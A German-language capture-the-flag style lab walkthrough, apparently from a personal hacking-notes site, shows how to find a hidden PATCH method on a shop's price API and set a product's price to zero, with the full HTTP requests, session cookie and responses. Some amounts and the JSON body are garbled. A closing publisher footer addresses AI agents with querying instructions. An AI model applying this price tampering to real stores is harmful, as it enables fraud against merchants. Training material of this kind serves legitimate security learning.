> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# Entdeckung und Ausnutzung eines ungenutzten API-Endpunkts

### Auffinden und Ausnutzen eines ungenutzten API-Endpunkts

Das Ziel dieses Labs ist es, einen versteckten API-Endpunkt zu nutzen, um einen **Leichte l33t-Lederjacke** ohne ausreichendes Guthaben. / Die Authentifizierung erfolgt mit den folgenden Anmeldedaten:

* **Benutzer**: wiener
* **Passwort**: peter

Nach dem Einloggen beträgt das Kontoguthaben **$**.

<figure><img src="/files/5c5ae2db64fb3ded72b8bb427f488ec1faab91bf" alt=""><figcaption></figcaption></figure>

#### Analyse des Anwendungsverhaltens

Beim Aufrufen des Produkts sendet die Anwendung im Hintergrund eine API-Anfrage, um den Preis abzurufen.

<figure><img src="/files/3e7ba69bd6cd9a5dffcb907b39522c4e33802f49" alt=""><figcaption></figcaption></figure>

**Anfrage zur Anzeige des Preises**

```bash
GET /api/products/1/price
```

**Serverantwort**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; Noch 21 auf Lager, schnell kaufen! &#x1F525;"
}
```

{% endcode %}

<figure><img src="/files/89c4bfe1d4047a528debba6fe3d7d1065e5530b4" alt=""><figcaption></figcaption></figure>

#### Ermittlung der verfügbaren HTTP-Methoden

Eine **OPTIONS** Anfrage wird gesendet, um die auf diesem Endpunkt zulässigen Methoden zu ermitteln.

**OPTIONS-Anfrage**

```bash
OPTIONS /api/products/1/price
```

**Antwort**

Der Server gibt an, dass die folgenden Methoden erlaubt sind:

* GET
* PATCH

<figure><img src="/files/be7e5506cd59efc66761167ce7e996918288815c" alt=""><figcaption></figcaption></figure>

Dies legt nahe, dass es möglich ist, **ändern** den Preis des Produkts per PATCH-Anfrage zu ändern.

#### Preisänderung per PATCH

Anschließend versuchen wir, den Preis des Produkts zu aktualisieren, indem wir eine PATCH-Anfrage mit einem JSON-Body senden.

**PATCH-Anfrage**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**Serverantwort**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="/files/f9de87390c04338ed8884254200b77bfb01bd9f4" alt=""><figcaption></figcaption></figure>

Der Preis des Produkts ist jetzt festgelegt auf **$**.

<figure><img src="/files/6f8c00ccd714bac4e075b2612c519014edb42d36" alt=""><figcaption></figcaption></figure>

#### Produktkauf

Sobald der Preis geändert wurde, ist es möglich, den **Leichte l33t-Lederjacke** trotz des fehlenden Guthabens auf dem Konto, wodurch das Lab validiert werden kann.

<figure><img src="/files/7cf9e04ce5026fe3216b53a0671a28cbdb99d8f7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
